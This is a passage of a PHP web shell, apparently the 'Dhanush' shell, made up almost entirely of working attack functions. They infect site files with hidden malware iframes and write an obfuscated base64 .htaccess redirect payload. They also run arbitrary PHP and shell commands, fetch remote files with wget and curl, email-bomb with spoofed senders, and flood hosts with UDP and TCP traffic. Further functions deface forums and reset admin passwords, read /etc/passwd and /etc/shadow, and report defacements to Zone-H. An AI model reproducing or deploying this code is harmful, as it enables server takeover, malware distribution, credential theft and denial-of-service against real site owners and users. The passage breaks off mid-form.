2290 $mypath = $_POST['pathtomass'] . "*.".$filetype;
2291 foreach (glob($mypath) as $injectj00)
2292 {
2293 if($injectj00 == __FILE__)
2294 continue;
2295 $fp=fopen($injectj00,$mode);
2296 if (fputs($fp,$lolinject))
2297 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2298 else
2299 echo 'failed to inject '.$injectj00.'<br>';
2300 }
2301 }
2302 else
2303 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2304}
2305else if(isset($_POST['mailfunction']))
2306{
2307 if($_POST['mailfunction'] == "dobombing")
2308 {
2309 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2310 {
2311 $times = $_POST['times'];
2312 while($times--)
2313 {
2314 if(isset($_POST['padding']))
2315 {
2316 $fromPadd = rand(0,9999);
2317 $subjectPadd = " -- ID : ".rand(0,9999999);
2318 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
2319
2320 }
2321 $from = "president$fromPadd@whitehouse.gov";
2322 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
2323 {
2324 $error = 1;
2325 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
2326 break;
2327 }
2328 }
2329 if($error != 1)
2330 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
2331 }
2332 }
2333 else if($_POST['mailfunction'] == "massmailing")
2334 {
2335 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2336 {
2337 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
2338 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
2339 else
2340 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
2341 }
2342 }
2343}
2344else if(isset($_POST['code']))
2345{
2346 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2347 {
2348 // FIlter Some Chars we dont need
2349 ?><br>
2350 <textarea name="code" class="box" cols="120" rows="10"><?php
2351 $code = str_replace("<?php","",$_POST['code']);
2352 $code = str_replace("<?","",$code);
2353 $code = str_replace("?>","",$code);
2354
2355 // Evaluate PHP CoDE!
2356 htmlspecialchars(eval($code));
2357 ?>
2358 </textarea><?php
2359 }
2360 else if($_POST['code'] != null && $_POST['intext'] == "false")
2361 {
2362 $code = str_replace("<?php","",$_POST['code']);
2363 $code = str_replace("<?","",$code);
2364 $code = str_replace("?>","",$code);
2365
2366 // Evaluate PHP CoDE!
2367 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2368 }
2369}
2370else if(isset($_GET['infect']))
2371{
2372 $coun = 0;
2373 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
2374 foreach (glob($_GET['path'] . "*.php") as $injectj00)
2375 {
2376 if($injectj00 == __FILE__)
2377 continue;
2378 if($myfile=fopen($injectj00,'a'))
2379 {
2380 fputs($myfile, $str);
2381 fclose($myfile);
2382 $coun = 1;
2383 }
2384 }
2385 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
2386 {
2387 if($myfile=fopen($injectj00,'a'))
2388 {
2389 fputs($myfile, $str);
2390 fclose($myfile);
2391 $coun = 1;
2392 }
2393 }
2394 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
2395 {
2396 if($myfile=fopen($injectj00,'a'))
2397 {
2398 fputs($myfile, $str);
2399 fclose($myfile);
2400 $coun = 1;
2401 }
2402 }
2403
2404
2405 if($coun == 1)
2406 echo "<center>Done !!!!<center>";
2407 else
2408 echo "<center>Cannot open files !!!!<center>";
2409}
2410else if(isset($_GET['redirect']))
2411{
2412 if($myfile = fopen(".htaccess",'a'))
2413 {
2414 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2415 fwrite($myfile, gzuncompress(base64_decode($mal)));
2416 fwrite($myfile, "\n\r");
2417 fclose($myfile);
2418 echo "<center>Done !!!!<center>";
2419 }
2420 else
2421 echo "<center>Cannot open file !!!!<center>";
2422}
2423else if(isset($_GET['malware']))
2424{ ?>
2425 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2426 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2427 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2428 <div id="showmal"></div>
2429 <?php
2430}
2431else if(isset($_GET['codeinsert']))
2432{
2433 if($file1 = fopen(".htaccess",'r'))
2434 {
2435 ?><div id="showcode"></div>
2436 <form method=post>
2437 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
2438 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2439 </form>
2440 <?php }
2441 else
2442 echo "<center>Cannot Open File!!</center>";
2443}
2444else if(isset($_POST['getcode']))
2445{
2446 if($myfile = fopen(".htaccess",'a'))
2447 {
2448 fwrite($myfile, $_POST['getcode']);
2449 fwrite($myfile, "\n\r");
2450 fclose($myfile);
2451 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2452 }
2453 else
2454 echo "Permission Denied";
2455}
2456else if(isset($_GET['uploadurl']))
2457{
2458 $functiontype = trim($_GET['functiontype']);
2459 $wurl = trim($_GET['wurl']);
2460 $path = magicboom($_GET['path']);
2461
2462 function remotedownload($cmd,$url)
2463 {
2464 $namafile = basename($url);
2465 switch($cmd)
2466 {
2467 case 'wwget':
2468 execmd(which('wget')." ".$url." -O ".$namafile);
2469 break;
2470 case 'wlynx':
2471 execmd(which('lynx')." -source ".$url." > ".$namafile);
2472 break;
2473 case 'wfread' :
2474 execmd($wurl,$namafile);
2475 break;
2476 case 'wfetch' :
2477 execmd(which('fetch')." -o ".$namafile." -p ".$url);
2478 break;
2479 case 'wlinks' :
2480 execmd(which('links')." -source ".$url." > ".$namafile);
2481 break;
2482 case 'wget' :
2483 execmd(which('GET')." ".$url." > ".$namafile);
2484 break;
2485 case 'wcurl' :
2486 execmd(which('curl')." ".$url." -o ".$namafile);
2487 break;
2488 default:
2489 break;
2490 }
2491 return $namafile;
2492 }
2493 $namafile = remotedownload($functiontype,$wurl);
2494 $fullpath = $path . $directorysperator . $namafile;
2495 if(is_file($fullpath))
2496 {
2497 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2498 }
2499 else
2500 echo "<center>Failed to upload $namafile</center>";
2501}
2502else if(isset($_GET['createfolder']))
2503{
2504 if(!mkdir($_GET['createfolder']))
2505 echo "Failed To create";
2506 else
2507 echo "<font class=txt>Folder Created Successfully</font>";
2508}
2509else if(isset($_GET['selfkill']))
2510{
2511 if(unlink(__FILE__))
2512 echo "<br><center><font size=5>Good Bye......</font></center>";
2513 else
2514 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2515}
2516else if(isset($_GET['Create']))
2517{
2518 ?>
2519 <form method="post">
2520 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2521 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2522 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2523 </form>
2524
2525<?php }
2526else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
2527{
2528 $content = $_POST['filecontent'];
2529 if($file_pointer = fopen($_POST['filecreator'], "w+"))
2530 {
2531 fwrite($file_pointer, $content);
2532 fclose($file_pointer);
2533 echo "<font class=txt>File Created Successfully</font>";
2534 }
2535 else
2536 echo "Cannot Create File";
2537}
2538else if(isset($_REQUEST["defaceforum"]))
2539{
2540 ?>
2541 <center><div id="showdeface"></div>
2542 <font color="#FF0000" size="4">Forum Index Changer</font>
2543 <form action="<?php echo $self; ?>" method = "POST">
2544 <input type="hidden" name="forum">
2545 <input type="hidden" name="defaceforum">
2546 <table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
2547 <tr>
2548 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
2549
2550 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
2551 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
2552 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2553
2554 <tr><td height="50" width="50%">Type :
2555 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
2556 <option value="vb">vbulletin</option>
2557 <option value="mybb">Mybb</option>
2558 <option value="smf">SMF</option>
2559 <option value="ipb">IPB</option>
2560 <option value="wp">Wordpress</option>
2561 <option value="joomla">Joomla</option>
2562 </select></td>
2563 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
2564
2565 </tr>
2566 <tr>
2567 <td height="167" width="50%" colspan=2>
2568 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
2569
2570 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
2571 <label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
2572 </div>
2573
2574 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
2575 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)" class="but" value = "Hack It">
2576 </td>
2577 </tr>
2578 </table>
2579 </form>
2580 </center>
2581 <?php
2582 }
2583 else if(isset($_GET["passwordchange"]))
2584 {
2585 echo "<center>";
2586 ?>
2587 <div id="showchangepass"></div>
2588 <font color="#FF0000" size="4">Forum Password Changer</font>
2589 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;">
2590 <table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
2591 <tr>
2592 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2593 <tr>
2594 <td height="50" width="50%">Type :
2595 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
2596 <option value="vb">vbulletin</option>
2597 <option value="mybb">Mybb</option>
2598 <option value="smf">SMF</option>
2599 <option value="ipb">IPB</option>
2600 <option value="phpbb">PHPBB</option>
2601 <option value="wp">Wordpress</option>
2602 <option value="joomla">Joomla</option>
2603 </select></td>
2604 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
2605 </tr>
2606 <tr>
2607 <td colspan=2 height="100" width="780">
2608
2609 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
2610
2611 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
2612
2613 <div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
2614
2615 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
2616 </tr>
2617 </table>
2618 </form>
2619 </center>
2620 <?php
2621}
2622else if(isset($_GET['dosser']))
2623{
2624 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
2625 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
2626 {
2627 $IP=$_GET['ip'];
2628 $port=$_GET['port'];
2629 $executionTime = $_GET['exTime'];
2630 $no0fBytes = $_GET['no0fBytes'];
2631 $data = "";
2632 $timeout = $_GET['timeout'];
2633 $packets = 0;
2634 $counter = $no0fBytes;
2635 $maxTime = time() + $executionTime;;
2636 while($counter--)
2637 {
2638 $data .= "X";
2639 }
2640 $data .= " Dhanush";
2641
2642 while(1)
2643 {
2644 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
2645 if($socket)
2646 {
2647 fwrite($socket , $data);
2648 fclose($socket);
2649 $packets++;
2650 }
2651 if(time() >= $maxTime)
2652 {
2653 break;
2654 }
2655 }
2656 echo "Dos Completed!<br>";
2657 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
2658 echo "Total Number of Packets Sent : " . $packets . "<br />";
2659 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
2660 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
2661 }
2662}
2663else if(isset($_GET['fuzzer']))
2664{
2665 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
2666 {
2667 $IP=$_GET['ip'];
2668 $port=$_GET['port'];
2669 $times = $_GET['exTime'];
2670 $timeout = $_GET['timeout'];
2671 $send = 0;
2672 $ending = "";
2673 $multiplier = $_GET['multiplier'];
2674 $data = "";
2675 $mode="tcp";
2676 $data .= "GET /";
2677 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
2678 if($_GET['type'] == "tcp")
2679 {
2680 $mode = "tcp";
2681 }
2682
2683 while($multiplier--)
2684 {
2685 $data .= urlencode($_GET['no0fBytes']);
2686 }
2687 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
2688 $data .= "by-Dhanush".$ending;
2689 $length = strlen($data);
2690
2691
2692 echo "Sending Data :- <br /> <p align='center'>$data</p>";
2693
2694 for($i=0;$i<$times;$i++)
2695 {
2696 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
2697 if($socket)
2698 {
2699 fwrite($socket , $data , $length );
2700 fclose($socket);
2701 }
2702 }
2703 echo "Fuzzing Completed!<br>";
2704 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
2705 echo "Total Number of Packets Sent : " . $times . "<br />";
2706 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
2707 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
2708 }
2709}
2710else if(isset($_GET['bypassit']))
2711{
2712 if(isset($_GET['copy']))
2713 {
2714 if(@copy($_GET['copy'],"test1.php"))
2715 {
2716 $fh=fopen("test1.php",'r');
2717 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
2718 @fclose($fh);
2719 unlink("test1.php");
2720 }
2721 }
2722 else if(isset($_GET['imap']))
2723 {
2724 $string = $_GET['imap'];
2725 echo "<textarea cols=120 rows=20 class=box readonly>";
2726 $stream = imap_open($string, "", "");
2727 $str = imap_body($stream, 1);
2728 echo "</textarea>";
2729 }
2730 else if(isset($_GET['sql']))
2731 {
2732 echo "<textarea cols=120 rows=20 class=box readonly>";
2733 $file=$_GET['sql'];
2734
2735 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
2736 $mysql_files = explode(':', $mysql_files_str);
2737
2738 $sql = array (
2739 "USE $mdb",
2740 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
2741 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
2742 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
2743 . "ESCAPED BY '' "
2744 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
2745
2746 "SELECT a FROM $tbl LIMIT 1"
2747 );
2748 mysql_connect ($mhost, $muser, $mpass);
2749
2750 foreach ($sql as $statement) {
2751 $q = mysql_query ($statement);
2752
2753 if ($q == false) die (
2754 "FAILED: " . $statement . "\n" .
2755 "REASON: " . mysql_error () . "\n"
2756 );
2757
2758 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
2759
2760 echo htmlspecialchars($r[0]);
2761 mysql_free_result ($q);
2762 }
2763 echo "</textarea>";
2764 }
2765 else if(isset($_GET['curl']))
2766 {
2767 $ch=curl_init("file://" . $_GET[curl]);
2768 curl_setopt($ch,CURLOPT_HEADERS,0);
2769 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2770 $file_out=curl_exec($ch);
2771 curl_close($ch);
2772 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
2773 }
2774 else if(isset($_GET['include']))
2775 {
2776 if(file_exists($_GET['include']))
2777 {
2778 echo "<textarea cols=120 rows=20 class=box readonly>";
2779 @include($_GET['include']);
2780 echo "</textarea>";
2781 }
2782 else
2783 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
2784 }
2785 else if(isset($_GET['id']))
2786 {
2787 echo "<textarea cols=120 rows=20 class=box readonly>";
2788 for($uid=0;$uid<60000;$uid++)
2789 { //cat /etc/passwd
2790 $ara = posix_getpwuid($uid);
2791 if (!empty($ara))
2792 {
2793 while (list ($key, $val) = each($ara))
2794 {
2795 print "$val:";
2796 }
2797 print "\n";
2798 }
2799 }
2800 echo "</textarea>";
2801 break;
2802 }
2803 else if(isset($_GET['tempnam']))
2804 {
2805 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
2806 $fp = fopen ( $mytmp, 'r' );
2807 while(!feof($fp))
2808 echo fgets($fp);
2809 fclose ( $fp );
2810 }
2811 else if(isset($_GET['symlnk']))
2812 {
2813 echo "<textarea cols=120 rows=20 class=box readonly>";
2814 @mkdir("mydhanush",0777);
2815 @chdir("mydhanush");
2816 execmd("ln -s /etc/passwd");
2817
2818 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/mydhanush/passwd");
2819 echo "</textarea>";
2820 }
2821 if(isset($_GET['newtype']))
2822 {
2823 $filename = $_GET['newtype'];
2824 echo "<textarea cols=120 rows=20 class=box readonly>";
2825 if($_GET['optiontype'] == "xxd")
2826 echo execmd("xxd ".$filename);
2827 else if($_GET['optiontype'] == "rev")
2828 echo execmd("rev ".$filename);
2829 if($_GET['optiontype'] == "tac")
2830 echo execmd("tac ".$filename);
2831 if($_GET['optiontype'] == "more")
2832 echo execmd("more ".$filename);
2833 if($_GET['optiontype'] == "less")
2834 echo execmd("less ".$filename);
2835 echo "</textarea>";
2836 }
2837}
2838// Deface Website
2839else if(isset($_GET['deface']))
2840{
2841 $myfile = fopen($_GET['deface'],'w');
2842 if(fwrite($myfile, base64_decode($ind)))
2843 {fclose($myfile);
2844 echo "Index Defaced Successfully";}
2845 else
2846 echo "Donot have write permission";
2847}
2848else if(isset($_GET['perms']))
2849{
2850?>
2851 <form>
2852 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
2853 <table align="center" border="1" style="width:40%;border-color:#333333;">
2854 <tr>
2855 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
2856 </tr>
2857 <tr>
2858 <td colspan="2" align="center" style="height:60px">
2859 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
2860 </tr>
2861 </table>
2862
2863 </form>
2864 <?php
2865}
2866else if(isset($_GET["chmode"]))
2867{
2868 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
2869 {
2870 $perms = 0;
2871 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
2872 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
2873 if(@chmod($_GET['myfilename'],$perms))
2874 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
2875 else
2876 echo "<center><blink>Cannot Change File Permissions</blink></center>";
2877 }
2878}
2879else if(isset($_GET['rename']))
2880{
2881?>
2882 <form>
2883 <table border="0" cellpadding="3" cellspacing="3">
2884 <tr>
2885 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
2886 </tr>
2887 <tr>
2888 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
2889 </tr>
2890 <tr>
2891 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
2892 </tr>
2893 </table>
2894 </form>
2895 <?php
2896
2897}
2898else if(isset($_GET['renamemyfile']))
2899{
2900 if(isset($_GET['to']) && isset($_GET['file']))
2901 {
2902 if(!rename($_GET['file'], $_GET['to']))
2903 echo "Cannot Rename File";
2904 else
2905 echo "<font class=txt>File Renamed Successfully</font>";
2906
2907 }
2908}
2909else if(isset($_GET['open']))
2910{
2911 if(is_file($_GET['myfilepath']))
2912 {
2913 $owner = "0/0";
2914 if($os == "Linux")
2915 $owner = getOGid($_GET['myfilepath']);
2916 ?>
2917 <form>
2918 <table style="width:57%;">
2919 <tr align="left">
2920 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
2921 </tr>
2922 <tr>
2923 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
2924 </tr>
2925 </table>
2926 <textarea name="content" rows="15" cols="100" class="box"><?php
2927 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
2928 if($content)
2929 {
2930 echo $content;
2931 }
2932 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
2933 {
2934 if(filesize($_GET['myfilepath']) != 0 )
2935 {
2936 fopen($_GET['myfilepath']);
2937 while(!feof())
2938 {
2939 echo htmlspecialchars(fgets($_GET['myfilepath']));
2940 }
2941 }
2942 }
2943
2944 ?>
2945 </textarea><br />
2946 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
2947 </form>
2948 <?php
2949 }
2950 else
2951 echo "File does not exist !!!!";
2952}
2953else if(isset($_POST['file']) && isset($_POST['content']))
2954{
2955 if(file_exists($_POST['file']))
2956 {
2957 $handle = fopen($_POST['file'],"w");
2958 if(fwrite($handle,$_POST['content']))
2959 echo "<font class=txt>File Saved Successfully!</font>";
2960 else
2961 echo "Cannot Write into File";
2962 }
2963 else
2964 {
2965 echo "File Name Specified does not exists!";
2966 }
2967}
2968else if(isset($_POST["SendNowToZoneH"]))
2969{
2970 $hacker = $_POST['defacer'];
2971 $method = $_POST['hackmode'];
2972 $neden = $_POST['reason'];
2973 $site = $_POST['domain'];
2974
2975 if (empty($hacker))
2976 {
2977 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
2978 }
2979 elseif($method == "--------SELECT--------")
2980 {
2981 die("<center><font size=3>[-] You Must Select The Method !</center>");
2982 }
2983 elseif($neden == "--------SELECT--------")
2984 {
2985 die("<center><font size=3>[-] You Must Select The Reason</center>");
2986 }
2987 elseif(empty($site))
2988 {
2989 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
2990 }
2991 // Zone-h Poster
2992 function ZoneH($url, $hacker, $hackmode,$reson, $site )
2993 {
2994 $k = curl_init();
2995 curl_setopt($k, CURLOPT_URL, $url);
2996 curl_setopt($k,CURLOPT_POST,true);
2997 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2998 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2999 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
3000 $kubra = curl_exec($k);
3001 curl_close($k);
3002 return $kubra;
3003 }
3004
3005 $i = 0;
3006 $sites = explode("\n", $site);
3007 echo "<pre class=ml1 style='margin-top:5px'>";
3008 while($i < count($sites))
3009 {
3010 if(substr($sites[$i], 0, 4) != "http")
3011 {
3012 $sites[$i] = "http://".$sites[$i];
3013 }
3014 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
3015 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
3016 ++$i;
3017 }
3018
3019 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
3020}
3021else if(isset($_GET['executemycmd']))
3022{
3023 $comm = $_GET['executemycmd'];
3024 chdir($_GET['executepath']);
3025 echo shell_exec($comm);
3026}
3027// View Passwd file
3028else if(isset($_GET['passwd']))
3029{
3030 $test='';
3031 $tempp= tempnam($test, "cx");
3032 $get = "/etc/passwd";
3033 $name=@posix_getpwuid(@fileowner($get));
3034 $group=@posix_getgrgid(@filegroup($get));
3035 $owner = $name['name']. " / ". $group['name'];
3036 ?>
3037 <table style="width:57%;">
3038 <tr>
3039 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
3040 </tr>
3041 <tr>
3042 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3043 </tr>
3044 </table>
3045 <?php
3046 if(copy("compress.zlib://".$get, $tempp))
3047 {
3048 $fopenzo = fopen($tempp, "r");
3049 $freadz = fread($fopenzo, filesize($tempp));
3050 fclose($fopenzo);
3051 $source = htmlspecialchars($freadz);
3052 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3053 unlink($tempp);
3054 }
3055 else
3056 {
3057 ?>
3058 <form>
3059 <input type="hidden" name="etcpasswd">
3060 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3061 <tr>
3062 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3063 </tr>
3064 <tr>
3065 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3066 </tr>
3067 <tr>
3068 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3069 </tr>
3070 </table><br>
3071 </form>
3072 <?php
3073 }
3074}
3075else if(isset($_GET['shadow']))
3076{
3077 $test='';
3078 $tempp= tempnam($test, "cx");
3079 $get = "/etc/shadow";
3080 if(copy("compress.zlib://".$get, $tempp))
3081 {
3082 $fopenzo = fopen($tempp, "r");
3083 $freadz = fread($fopenzo, filesize($tempp));
3084 fclose($fopenzo);
3085 $source = htmlspecialchars($freadz);
3086 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3087 unlink($tempp);
3088 }
3089}
3090else if(isset($_GET['bomb']))
3091{
3092 ?><div id="showmail"></div>
3093 <form>
3094 <table id="margins" style="width:100%;">
3095 <tr>
3096 <td style="width:30%;">To</td>
3097 <td>
3098 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3099 </td>
3100 </tr>
3101 <tr>
3102 <td style="width:30%;">Subject</td>
3103 <td>
3104 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
3105 </td>
3106 </tr>
3107 <tr>
3108 <td style="width:30%;">No. of Times</td>
3109 <td>
3110 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3111 </td>
3112 </tr>
3113 <tr>
3114 <td style="width:30%;">Pad your message (Less spam detection)</td>
3115 <td><input type="checkbox" name="padding"/></td>
3116 </tr>
3117 <tr>
